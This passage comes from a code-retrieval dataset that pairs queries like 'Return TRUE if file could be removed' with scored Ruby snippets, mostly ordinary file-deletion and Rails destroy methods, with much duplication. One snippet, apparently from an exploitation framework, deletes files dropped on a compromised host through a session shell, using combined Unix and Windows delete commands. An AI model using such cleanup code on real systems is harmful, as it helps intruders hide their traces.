set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" }, { "docid": "71ae50ee38ec1723a5656f286ff6f010", "score": "0.5432131", "text": "def set_author\n @author = Author.find(params[:id])\n end", "title": "" } ]
286f57b62d2ccdd59604fd8d61588dbc
Return TRUE if file could be removed
[ { "docid": "45892a7200ec494fdcb1cdd432379f94", "score": "0.0", "text": "def unlink_callback(context, path, user_data)\r\n if self.unlink(path)\r\n 1\r\n else\r\n 0\r\n end\r\n end", "title": "" } ]
[ { "docid": "e24f6c32910da83db1a20fa2f78cc9e5", "score": "0.77123946", "text": "def delete_file\n File.delete(@path)\n true\n rescue Errno::ENOENT # testing for existence would be a race condition\n false\n end", "title": "" }, { "docid": "4a279518dadaf4a5a3ea6b50620abce2", "score": "0.7642873", "text": "def deleted?(file); end", "title": "" }, { "docid": "9e351d4e9e92bedde497ccdb94187bf0", "score": "0.7623153", "text": "def rm_f(filename)\r\n # puts \"GONNA RUN self.delete #{filename}\"\r\n if file? filename\r\n self.delete filename\r\n return true\r\n end\r\n return false\r\n end", "title": "" }, { "docid": "29a9e10f112d5bcf8fef05b6dd96e75e", "score": "0.7438569", "text": "def remove_file(file)\n begin\n @ftp.delete(file)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "title": "" }, { "docid": "a4d588531b20671c83eb99b74ae7f506", "score": "0.7402711", "text": "def remove!\n return false if @removed\n FileUtils.rm_rf path\n @removed = true\n end", "title": "" }, { "docid": "5c54f1303d3d5744d848cd1585cbde3e", "score": "0.73977166", "text": "def delete_file(file)\n begin\n File.delete(file)\n true\n rescue\n false\n end\n end", "title": "" }, { "docid": "a72df3d4e5931d1d62a91ced14379e69", "score": "0.73608893", "text": "def remove_if_present(filename)\n begin\n File.unlink(filename)\n rescue Errno::ENOENT\n return false\n end\n return true\n end", "title": "" }, { "docid": "9239d08b8eee64576e0e741ab913614f", "score": "0.732935", "text": "def delete_file#:doc:\n File.delete(save_path_with_filename)\n rescue\n ensure\n return true\n end", "title": "" }, { "docid": "f3639debdf1b616379cc4d09ec04c221", "score": "0.72864604", "text": "def delete\n if file\n file.destroy\n else\n false\n end\n end", "title": "" }, { "docid": "4b2c4c566c87994749d326cdba498cee", "score": "0.727591", "text": "def delete\n FileUtils.rm_rf File.dirname(file)\n return true\n end", "title": "" }, { "docid": "8c5b2a4d893fc5bb1a5cd22fc2bcd06d", "score": "0.7247834", "text": "def destroy\n !!File.unlink(full_path) rescue false\n end", "title": "" }, { "docid": "0ab5b811f9520f4a9bbb6f027bf3cfe0", "score": "0.7179543", "text": "def rm\n un = unknown \n Dir.chdir(path) do \n FileUtils.rm_rf un\n end\n (ex, noex) = un.partition do |file|\n File.exist?(file)\n end\n puts \"REMOVED: #{noex.inspect}\"\n puts \"NOT REMOVED: #{ex.inspect}\"\n end", "title": "" }, { "docid": "0ab5b811f9520f4a9bbb6f027bf3cfe0", "score": "0.7179543", "text": "def rm\n un = unknown \n Dir.chdir(path) do \n FileUtils.rm_rf un\n end\n (ex, noex) = un.partition do |file|\n File.exist?(file)\n end\n puts \"REMOVED: #{noex.inspect}\"\n puts \"NOT REMOVED: #{ex.inspect}\"\n end", "title": "" }, { "docid": "df7f266ab9a53b41fa263284c414fcb9", "score": "0.7147863", "text": "def remove(filename); end", "title": "" }, { "docid": "df7f266ab9a53b41fa263284c414fcb9", "score": "0.7147863", "text": "def remove(filename); end", "title": "" }, { "docid": "df7f266ab9a53b41fa263284c414fcb9", "score": "0.7147863", "text": "def remove(filename); end", "title": "" }, { "docid": "6090fa0b18967310bd146a727ca01b0c", "score": "0.7126772", "text": "def remove_file(dir, file)\n file = tidy_challenge_file(file)\n path = File.join(dir, file)\n File.unlink(path) if File.file?(path)\n true\nend", "title": "" }, { "docid": "87e904122a472693f1644fa007eef3b1", "score": "0.7099631", "text": "def clean_up!\n File.delete( file_path )\n FileUtils.rm_rf( folder )\n Rails.logger.info 'Cleaned up'\n return true\n end", "title": "" }, { "docid": "76a0012f6c0b83bc91e3a31d910831eb", "score": "0.70679474", "text": "def remove_file\n File.delete(@file) if File.exist?(@file)\n end", "title": "" }, { "docid": "90cedea95e1a6d3f5a835eb2f9cb9ede", "score": "0.7056622", "text": "def file_remove(file)\n File.delete(file) if File.exist?(file)\n end", "title": "" }, { "docid": "87b4509bd5e5c53fd3f6e514c05c58cc", "score": "0.70286286", "text": "def can_write_files?\n file_name = test_file_name\n upload_string('Test file generated by automated ' \\\n 'FTP delivery. Please discard.', file_name)\n return false unless file_exists?(file_name)\n begin\n @sftp.rm(file_name)\n rescue StandardError => e\n Delayed::Worker.logger.debug(\"Unable to delete test file. Reason: #{e}\")\n end\n true\n end", "title": "" }, { "docid": "72d08b0899af22be89332e444c151954", "score": "0.70042884", "text": "def destroy_file\n return true if ftp_config[:read_only]\n\n dest_path = File.join(ftp_config[:base_upload_path], full_filename)\n Net::FTP.open(ftp_config[:server], ftp_config[:login], ftp_config[:password]) do |ftp|\n @deleted = ftp.delete(dest_path) rescue nil# gone\n end\n\n @deleted\n end", "title": "" }, { "docid": "01de705ebd2d6f6fdb3191ca4b6e9105", "score": "0.6992555", "text": "def remove_cfile\n begin\n FileUtils.rm self.path.to_s\n rescue\n p self.path.to_s + 'can not be deleted'\n end\n end", "title": "" }, { "docid": "89a05ee8127c35492004244941a71f52", "score": "0.6973929", "text": "def remove!\n response = connection.exec!(\"rm #{ File.join(remote_path, remote_file) }\")\n if response =~ /No such file or directory/\n Logger.warn \"Could not remove file \\\"#{ File.join(remote_path, remote_file) }\\\".\"\n end\n end", "title": "" }, { "docid": "882fa6ab0e1d21d551eb0acc002152ea", "score": "0.68934137", "text": "def unlink\n !! absolute_path.delete\n rescue\n false\n end", "title": "" }, { "docid": "cd5c83fbe3c747760592ff64f6fb65b4", "score": "0.6870671", "text": "def delete_if_exists(file)\n # Windows cannot delete open files, but we only have a path at this point\n # so it's too late to close the file. report failure to delete files but\n # otherwise continue without failing test.\n begin\n File.delete(file) if File.file?(file)\n rescue Exception => e\n puts \"\\nWARNING: #{e.message}\"\n end\n end", "title": "" }, { "docid": "aae3adbe0f55b98f4bc0a24be62d83da", "score": "0.68687993", "text": "def remove_file(ident)\n rv = false\n if @child_files.include? ident\n @child_files.delete ident\n rv = true\n else\n @child_files.each { |id, f| rv ||= g.remove_file ident }\n end\n rv\n end", "title": "" }, { "docid": "907d93edce9148917a7c4692fca87b00", "score": "0.68426937", "text": "def mustBeDeleted?()\n return (not File.exists?(@fileName))\n end", "title": "" }, { "docid": "650b1cb6afa53b86ebd862c1391669e0", "score": "0.6817207", "text": "def delFile filepath, group\n path = \"#{@name}/#{group}/#{filepath}\"\n return false unless @files.include? path\n file = getModele Modeles::File, \"path\", path\n @userInTable.files.delete file\n ret = @userInTable.save\n if ret\n @files.delete path\n Modeles::File.delete file.id\n true\n else\n false\n end\n end", "title": "" }, { "docid": "920bda3fc354430c0eeee5a5c5e1c133", "score": "0.68011045", "text": "def unlink\n Dir.unlink(self)\n true\n rescue Errno::ENOTDIR\n File.unlink(self)\n true\n end", "title": "" }, { "docid": "7e9cdb5db8a90b3129cf4a83fc456330", "score": "0.67959857", "text": "def delete\n begin\n oss_connection.delete(@path)\n true\n rescue Exception => e\n # If the file's not there, don't panic\n puts \"carrierwave-aliyun delete file failed: #{e}\"\n nil\n end\n end", "title": "" }, { "docid": "6b9960cec07f6edaa0db1184ff8fbc9f", "score": "0.67899716", "text": "def rm(filename)\n FileUtils.rm(filename) if File.exist?(filename)\nend", "title": "" }, { "docid": "01d2e1a07ef798c58a8abcb101ec9742", "score": "0.6756418", "text": "def remove(filename)\n begin\n File.delete(filename)\n rescue Errno::ENOENT\n end\nend", "title": "" }, { "docid": "8ae18cf1d61e04a4baac347483b36682", "score": "0.6735685", "text": "def remove(path)\n if exists?(path)\n FileUtils.remove_entry_secure path\n true\n else\n false\n end\n end", "title": "" }, { "docid": "90e66c1fb976fb2997c3032fd7bbb777", "score": "0.67238545", "text": "def delete_file(file)\n File.delete file if File.exist? file\nend", "title": "" }, { "docid": "95d94944a2cedd86823a773bacf13aac", "score": "0.6683795", "text": "def file_dropper_deleted?(session, path, exists_before)\n if exists_before && file_dropper_exist?(session, path)\n print_error(\"Unable to delete #{path}\")\n false\n elsif exists_before\n print_good(\"Deleted #{path}\")\n true\n else\n print_warning(\"Tried to delete #{path}, unknown result\")\n true\n end\n end", "title": "" }, { "docid": "0232a1f58331e6c856e4933946fe558c", "score": "0.6682404", "text": "def file_remove\n file, data = find_file_and_data\n\n file.is_deleted = true\n file.save!\n\n return render plain: '' if data[:clean_remove].present? && data[:clean_remove] != '0'\n\n redirect_to neofiles_file_compact_path(data.merge(id: nil))\n end", "title": "" }, { "docid": "e837f6653b26784688e2cd0d4086283f", "score": "0.66755027", "text": "def rm_if_necessary(file)\n return if !File.exist?(file)\n\n rm(file)\n true\n end", "title": "" }, { "docid": "398a88525f86998250aaff27f6766fbf", "score": "0.6656643", "text": "def del_file!(path)\n if windows?\n run_command!(\"If (Test-Path \\\"#{path}\\\") { Remove-Item -Force -Path \\\"#{path}\\\" }\")\n else\n run_command!(\"rm -f \\\"#{path}\\\"\")\n end\n nil\n end", "title": "" }, { "docid": "b74eebd2e94beabb764125a8d299d7c3", "score": "0.66491026", "text": "def destroy(file = @file)\n FileUtils.rm file if File.exists? file\n !File.exists? file\n end", "title": "" }, { "docid": "70372b7906a639324a273a2bd219269c", "score": "0.6642678", "text": "def del_file(file)\n if $is_nix == true\n system 'rm', file\n else\n system 'del', file\n end\nend", "title": "" }, { "docid": "3772c5dceda939ac8f4043f3b5e83639", "score": "0.6632999", "text": "def unlink_files\n file = self.full_filename\n File.unlink(file) if File.exists? file\n end", "title": "" }, { "docid": "1afe7cf9f5f54c1cbdab1fe1a340436a", "score": "0.6623068", "text": "def clean\n File.unlink(file) if File.exists?(file)\n end", "title": "" }, { "docid": "014ada997f7eb9fa60c04db47307745a", "score": "0.6588723", "text": "def destroy_file\n FileUtils.rm full_filename rescue nil\n end", "title": "" }, { "docid": "014ada997f7eb9fa60c04db47307745a", "score": "0.6588723", "text": "def destroy_file\n FileUtils.rm full_filename rescue nil\n end", "title": "" }, { "docid": "09184eb7f9002ecac8f61fcc2d2b9ce8", "score": "0.6570695", "text": "def remove!\n begin\n connection.delete(\n File.join(remote_path, remote_file)\n )\n rescue Net::FTPPermError\n Logger.warn \"Could not remove file \\\"#{ File.join(remote_path, remote_file) }\\\".\"\n end\n end", "title": "" }, { "docid": "7a6d60c6e148313183a27271eda36865", "score": "0.6557378", "text": "def destroy_file\n if File.exist?(full_filename)\n FileUtils.rm full_filename unless self.parent_id.blank?\n end\n end", "title": "" }, { "docid": "6c8c5da2e08b4285b77d4dbe0f0c7759", "score": "0.65572417", "text": "def delete(filename); end", "title": "" }, { "docid": "c1f9c9952a277a7f29819ec75d8d4c8e", "score": "0.65472704", "text": "def remove_files\n return unless filename\n FileUtils.rm_rf(File.dirname(full_filename_without_creation))\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end", "title": "" }, { "docid": "ec90dcd794676bddcb5cc222bd98874b", "score": "0.65383315", "text": "def delete_file?(file_path, opts = {})\n delete_tree?(:file, file_path, opts)\n end", "title": "" }, { "docid": "9690c78937d4ef88028931d985df4d88", "score": "0.6537058", "text": "def is_deleted_file?(line)\n if line.scan(REGEX_FILE_DEL).size == 1\n return true\n end\n\n false\n end", "title": "" }, { "docid": "95f882803cd5f06edc0cec67d8172135", "score": "0.6526267", "text": "def remove(*args)\n list = args.last.is_a?(Hash) ? args[0..-2].flatten : args[0..-1].flatten\n opts = args.last.is_a?(Hash) ? args.last : {}\n # Should we delete the filez?\n if opts[:unlink]\n FileUtils.safe_unlink list.map {|f| repo.working_join(f)}\n end\n success = true\n repo.lock_working do\n # Save ourselves a dirstate write\n list.each do |f|\n if opts[:unlink] && File.exists?(repo.working_join(f))\n # Uh, why is the file still there? Don't remove it from the dirstate\n UI.warn(\"#{f} still exists!\")\n success = false # no success\n else\n dirstate.remove f\n end\n end\n end\n \n success\n end", "title": "" }, { "docid": "5fe9d71698f32a14476dc9843317fa9c", "score": "0.6522826", "text": "def delete_file\n File::delete(filename) rescue nil\n end", "title": "" }, { "docid": "2a9ba3af47224c618d7d5ffa517d0ef4", "score": "0.6521606", "text": "def rm_if_necessary(file)\n if File.exists?(file)\n rm(file)\n true\n end\n end", "title": "" }, { "docid": "633bd49ecf1830d8d175e183a20fb373", "score": "0.651191", "text": "def remove_created_file(file_path)\n if file_path && File.exists?(file_path)\n File.delete(file_path)\n end\nend", "title": "" }, { "docid": "1bd4d488ba04ff3a008e3fb1b6597a83", "score": "0.650605", "text": "def remove(file)\n if self[file].added?\n # Is it already added? if so, forgettaboutit\n forget file\n true # success!\n elsif !tracking?(file)\n # Are we not even tracking this file? dumbass\n UI.warn(\"#{file} not being tracked!\")\n false # no success\n else\n # Woooo we can delete it\n @dirty = true\n drop_path file\n \n size = 0\n if null?(@parents.last) && (info = @files[file])\n if info.merged?\n size = -1\n elsif info.normal? && info.size == -2\n size = -2\n end\n end\n @files[file] = DirStateEntry.new(:removed, 0, size, 0)\n @copy_map.delete file if size.zero?\n true\n end\n end", "title": "" }, { "docid": "5a56be5016c02ddd41c34319de12744d", "score": "0.65021324", "text": "def remove_file\n if file_exists?\n begin\n File.delete filepath\n rescue => e\n logger.error \"Unable to delete file #{filepath}: #{e.message}\" if logger\n end\n end\n end", "title": "" }, { "docid": "f958f0e93fe934558d4e6c87ad200100", "score": "0.6496318", "text": "def file_dropper_delete_file(session, file)\n win_file = file_dropper_win_path(file)\n\n if session.type == 'meterpreter'\n begin\n # Meterpreter should do this automatically as part of\n # fs.file.rm(). Until that has been implemented, remove the\n # read-only flag with a command.\n if session.platform == 'windows'\n session.shell_command_token(%Q|attrib.exe -r #{win_file}|)\n end\n session.fs.file.rm(file)\n true\n rescue ::Rex::Post::Meterpreter::RequestError\n false\n end\n else\n win_cmds = [\n %Q|attrib.exe -r \"#{win_file}\"|,\n %Q|del.exe /f /q \"#{win_file}\"|\n ]\n # We need to be platform-independent here. Since we can't be\n # certain that {#target} is accurate because exploits with\n # automatic targets frequently change it, we just go ahead and\n # run both a windows and a unix command in the same line. One\n # of them will definitely fail and the other will probably\n # succeed. Doing it this way saves us an extra round-trip.\n # Trick shared by @mihi42\n session.shell_command_token(\"rm -f \\\"#{file}\\\" >/dev/null ; echo ' & #{win_cmds.join(\" & \")} & echo \\\" ' >/dev/null\")\n true\n end\n end", "title": "" }, { "docid": "f7aa900c678ed56dbf90f21404862afa", "score": "0.64945596", "text": "def remove!\n begin\n connection.delete(File.join(remote_path, remote_file))\n rescue ::Dropbox::FileNotFoundError\n Logger.warn \"File \\\"#{ File.join(remote_path, remote_file) }\\\" does not exist, skipping removal.\"\n end\n end", "title": "" }, { "docid": "3dc6c9eef1589ffb6a204880977c2338", "score": "0.6491367", "text": "def delete\n RestClient.delete(\"#{@base_path}/applications/#{@app_key}/hes_files/destroy?filepath=#{@path}\", {}) do |response, request, content|\n raise HesCloudFileError.new(\"Cannot delete: HES Cloud File does not exist <#{self.inspect}>\") if response.code == 404\n return true\n end\n end", "title": "" }, { "docid": "eac8d82f3a3dc2ddef3a35e35cb12854", "score": "0.64800847", "text": "def unpersisted_file?\n not @file.nil?\n end", "title": "" }, { "docid": "eac8d82f3a3dc2ddef3a35e35cb12854", "score": "0.64800847", "text": "def unpersisted_file?\n not @file.nil?\n end", "title": "" }, { "docid": "488b31996c82562c2c5b0edcb085c0ea", "score": "0.64683527", "text": "def remove\n File.delete(@filename)\n end", "title": "" }, { "docid": "32822b6ab8370febfb53f6f6e5126760", "score": "0.6466811", "text": "def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end", "title": "" }, { "docid": "95a797786c4b51603ba0e686402030ee", "score": "0.6453093", "text": "def clean\n FileUtils.rm filename, force: true\n end", "title": "" }, { "docid": "78ae9cd4ed039e64840ba9845620c2fa", "score": "0.64468473", "text": "def delete_statement_file\n begin\n File.delete(filepath) if filepath && File.file?(filepath)\n rescue Errno::ENOENT => e\n logger.error(\"[delete_statement_file] #{e.message}\")\n end\n true # don't want to break the callback chain\n end", "title": "" }, { "docid": "4ad9b3d320d00b05e0021dc15e4aa3a6", "score": "0.64374006", "text": "def remove_proposed_content\n File.unlink(filename) if File.exist?(filename)\n end", "title": "" }, { "docid": "801e42bffa183eec4c64c7c594b98c58", "score": "0.6430661", "text": "def delete_old_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n # If the filenames are different, delete the old file\n if self.file_name_changed?\n # Delete old file\n self.delete_file\n end\n end\n end", "title": "" }, { "docid": "801e42bffa183eec4c64c7c594b98c58", "score": "0.6430661", "text": "def delete_old_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n # If the filenames are different, delete the old file\n if self.file_name_changed?\n # Delete old file\n self.delete_file\n end\n end\n end", "title": "" }, { "docid": "6ff1977b62fe8e56d1a42e54971c1523", "score": "0.6428302", "text": "def delete *filenames\n result = false\n filenames.each do |filename|\n detach filename\n mutex.synchronize do\n result ||= workspace.remove(filename)\n @synchronized = !result if synchronized?\n end\n end\n result\n end", "title": "" }, { "docid": "3f51c115456c81cbdbfdb162f9b2fe4f", "score": "0.64226097", "text": "def delete_file!(completed_only: true)\n return if deleted?\n\n return unless completed? || !completed_only\n\n absolute_path.delete if absolute_path.exist?\n self.deleted = true\n end", "title": "" }, { "docid": "00bf15b26b2794f8bb272d100ea6cfdf", "score": "0.6411359", "text": "def remove(files=[])\n files = ignore_stitch_sources files\n # Ensure at least one file still exists (other scripts may clean up too)\n if files.select {|f| File.exist? f }.size > 0\n begin\n message = 'removed file'\n message += 's' if files.size > 1\n UI.info \"#{@msg_prefix} #{message.red}\" unless @config[:silent]\n puts '| ' #spacing\n\n files.each do |file|\n path = destination_path file\n if File.exist? path\n FileUtils.rm path\n puts '|' + \" x \".red + path\n end\n\n dir = File.dirname path\n if Dir[dir+'/*'].empty?\n FileUtils.rm_r(dir) \n puts '|' + \" x \".red + dir\n end\n end\n puts '| ' #spacing\n\n rescue Exception => e\n UI.error \"#{@msg_prefix} remove has failed\" unless @config[:silent]\n UI.error e\n stop_server\n throw :task_has_failed\n end\n true\n end\n end", "title": "" }, { "docid": "2491d2c6e72bfb0fe94595a8cf6b4d60", "score": "0.641135", "text": "def remove_file(path, config = T.unsafe(nil)); end", "title": "" }, { "docid": "6f67d381f4a741a4d9c43643ccc744c9", "score": "0.64075977", "text": "def destroyable? file_path\n true if file_path != \"#{Rails.root}/public\"\n true if File.directory? file_path\n true if file_path =~ /index|comments/\n false\n end", "title": "" }, { "docid": "732ae97d9d7a7fde51c7e7cfd1af59f6", "score": "0.63865167", "text": "def delfileifexists(filename)\n\tif File.exists?(filename) then\n\t\tFile.delete(filename)\n\tend\nend", "title": "" }, { "docid": "03621ddb6c60650d0c7687885b62a12c", "score": "0.63750803", "text": "def remove_action\n validate :file, String # must be a string\n validate :file, /^\\// # must be absolute\n\n file = request[:file]\n\n if ! File.exists?(file)\n logger.debug (\"Asked to remove file '#{file}', but it does not exist\")\n reply.statusmsg = \"OK\"\n return\n end\n\n begin\n FileUtils.rm(file)\n logger.debug (\"Removed file '#{file}'\")\n reply.statusmsg = \"OK\"\n rescue\n logger.warn (\"Could not remove file '#{file}'\")\n reply.fail \"Could not remove file '#{file}'\", 1 \n end\n\n return\n end", "title": "" }, { "docid": "f265b04d9a733444ab396f9125ffc7a3", "score": "0.63648945", "text": "def destroy!\n # Delete the directory to delete the box.\n FileUtils.rm_r(@directory)\n\n # Just return true always\n true\n rescue Errno::ENOENT\n # This means the directory didn't exist. Not a problem.\n return true\n end", "title": "" }, { "docid": "fda6c9acf96819c96f376a0e5ffe7752", "score": "0.6354979", "text": "def delete_image_file\n File.delete(filename) if File.exists?(filename)\n end", "title": "" }, { "docid": "c3ae9d6354b26a961fc5ad365dc882a5", "score": "0.6346745", "text": "def remove_files\n File.unlink(converted_csv_path) if File.exist?(converted_csv_path)\n File.unlink(diff_path) if File.exist?(diff_path)\n end", "title": "" }, { "docid": "8ac09fe1cca5419992bc8823ff249080", "score": "0.6325928", "text": "def clean remove_file, options\n if(options[:clean].to_s == \"true\")\n execute \"rm #{remove_file}\"\n end\nend", "title": "" }, { "docid": "4972cc1e6b4111935ec81add29a36fd7", "score": "0.632015", "text": "def remove(filename)\n not_implemented('remove')\n end", "title": "" }, { "docid": "2fd770380ab98cd306cc9a5c55fc613d", "score": "0.631976", "text": "def deleted?(file)\n deleted.member?(file)\n end", "title": "" }, { "docid": "6b42ad502bcd0042787477d580bfcff4", "score": "0.63119286", "text": "def remove_file\n @ph.remove_file\n end", "title": "" }, { "docid": "8e6b0ff32b6db8c8a5cf191a33e8abd7", "score": "0.6309921", "text": "def safe_remove(file)\n return unless file.present?\n puts \"Removing #{file}\"\n `rm ../#{file}`\n end", "title": "" }, { "docid": "e3be642d5c40abde6827b0137a944064", "score": "0.630737", "text": "def delete_old_file\n # Execute if the full file path exists (indicating a new File object)\n if @file_path\n # If the filenames are different, delete the old file\n if self.filename != self.filename_was\n # Search for old file\n @testfile = TestFile.where(id: id).first\n # Delete old file\n @testfile.delete_file\n end\n end\n end", "title": "" }, { "docid": "ad2922a6d6ab442b1ad6922dd9c30078", "score": "0.6300612", "text": "def delete!\n FileUtils::rm self.file\n end", "title": "" }, { "docid": "889e5e011362389c9426601504a834a9", "score": "0.6295301", "text": "def safe_unlink filename\n return unless filename\n begin\n File.unlink filename\n rescue => e\n Rails.logger.warn(\"Cannot unlink temp file \" + filename) if Rails.logger && Rails.logger.debug?\n end\n end", "title": "" }, { "docid": "659f6dde8e9039ba41c0d183b63d55fe", "score": "0.6292503", "text": "def cleanup\r\n fu_mode.rm_rf(@filepath) if File.exist?(@filepath)\r\n end", "title": "" }, { "docid": "ed94ef36b74ffb2e0d1b04ce39903156", "score": "0.6290249", "text": "def destroy\n FileUtils.rm_f(file_name) if File.exist?(file_name)\n end", "title": "" }, { "docid": "41ee5ce291c151c561ff2fbeac25b88f", "score": "0.628821", "text": "def remove_file file\n if File.exist? file\n puts \"- Removing #{file}\"\n FileUtils.rm_rf file\n @removed_components << file\n end\n end", "title": "" }, { "docid": "b9816fb67879f4eb50fc12f9f5d87536", "score": "0.6284917", "text": "def destroy_attached_files\n true\n end", "title": "" }, { "docid": "cfabdfb9a59b7b883f09868c50d5c9b1", "score": "0.627917", "text": "def delete_pem(path)\n Puppet::FileSystem.unlink(path)\n true\n rescue Errno::ENOENT\n false\n end", "title": "" }, { "docid": "3d3e25da1b919afe58b5d350398c84f7", "score": "0.62770873", "text": "def remove_file mf\n @files.delete(mf)\n end", "title": "" }, { "docid": "35e4af5f55341e06c4eb83de4b9f05ed", "score": "0.62715155", "text": "def destroy\n return false unless valid?\n\n begin\n Dir.rmdir(@path)\n rescue Errno::ENOTEMPTY, Errno::ENOENT\n return false\n end\n\n self\n end", "title": "" }, { "docid": "2fe95f5305ebd72922101f617d8b6748", "score": "0.6270666", "text": "def delete_file(url)\n file_name = get_filename_by_url(url)\n return false unless @dir.files.head(file_name)\n @dir.files.get(file_name).destroy\n end", "title": "" }, { "docid": "9b7586f13683fdbba175ea6949baad20", "score": "0.6260819", "text": "def delete(session, file_path)\n read_task('rvpe.transfer.delete', session) do\n unless FileTest.exist?(file_path)\n raise \"File[#{file_path}] does not exist.\"\n end\n FileUtils.rm(file_path)\n @log.info \"File[#{file_path}] is deleted.\"\n [true, '']\n end\n end", "title": "" }, { "docid": "f03081f6f5097eba905f5803b93f2aa1", "score": "0.6256859", "text": "def remove(filename)\n path = File.join(dir, filename)\n gzip = \"#{path}.gz\"\n logical_path = files[filename]['logical_path']\n\n if assets[logical_path] == filename\n assets.delete(logical_path)\n end\n\n files.delete(filename)\n FileUtils.rm(path) if File.exist?(path)\n FileUtils.rm(gzip) if File.exist?(gzip)\n\n save\n\n logger.info \"Removed #{filename}\"\n\n nil\n end", "title": "" }, { "docid": "bfd6130ae722f6dd5d63523e936076f6", "score": "0.6256849", "text": "def delete\n if File.exists?(@filename)\n File.delete(@filename)\n end\n end", "title": "" }, { "docid": "6ea4256d849e556b3f6016a2edb99316", "score": "0.62556773", "text": "def check_file\n if read_attribute(:asset_file_name).nil?\n self.destroy\n end\n end", "title": "" }, { "docid": "098d4d27cc941cdb92a9868362a5e7bf", "score": "0.62530744", "text": "def clean?\n scan_working_directory\n clean = true\n @files.each do |f, hsh|\n if hsh[:type] == 'blob' && hsh[:sha_index]\n clean &&= ((hsh[:sha_working] == hsh[:sha_index]) && (hsh[:sha_index] == hsh[:sha_repo]))\n end\n end\n clean\n end", "title": "" }, { "docid": "6d7e074d08ce4cffb1710e823d5f1b22", "score": "0.6248735", "text": "def delete\n\n if(@ADMIN_SESSION_ID == nil)\n raise FileAccessDenied.new(\"File Access Denied!\")\n end\n if @ADMIN_ACCESS_CONTROL.checkFileAccessWrite(@ADMIN_SESSION_ID, @USER_NAME, @FILE)\n\n @VERSIONED_FILE.createVersion(@VERSIONED_FILE.BACKUP_DELETED)\n deleted = File.delete(@VERSIONED_FILE.getCurrentVersion)\n return (deleted > 0)\n else\n raise FileAccessDenied.new(\"Delete access denied to user: #{@USER_NAME} for file: #{@FILE}\")\n end\n end", "title": "" } ]
b6bca3c8e9ed649138c538b25ccccf47
DELETE /games/1 DELETE /games/1.json
[ { "docid": "b28cf580081ad67829245eb883a38d56", "score": "0.0", "text": "def destroy\n @game.players.each do |p|\n p.destroy\n end\n\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "fd4eb511cd5e957a76d59b08b0244ce9", "score": "0.77787167", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e556b38f3987e315b050212676687394", "score": "0.77121466", "text": "def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "e1e31f271e95183c3e202178fe521e66", "score": "0.769786", "text": "def destroy\n @game = Game.find(params[:id].to_i)\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "ac705b559d10c09a83882587af4c9af5", "score": "0.7685409", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/games\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "73899ed64bb5c31ff1ccc22ce408422a", "score": "0.76516503", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "73899ed64bb5c31ff1ccc22ce408422a", "score": "0.76516503", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.76476014", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9037bf75c39e8304b7fbd1cf170b16de", "score": "0.7647392", "text": "def destroy\n @game = 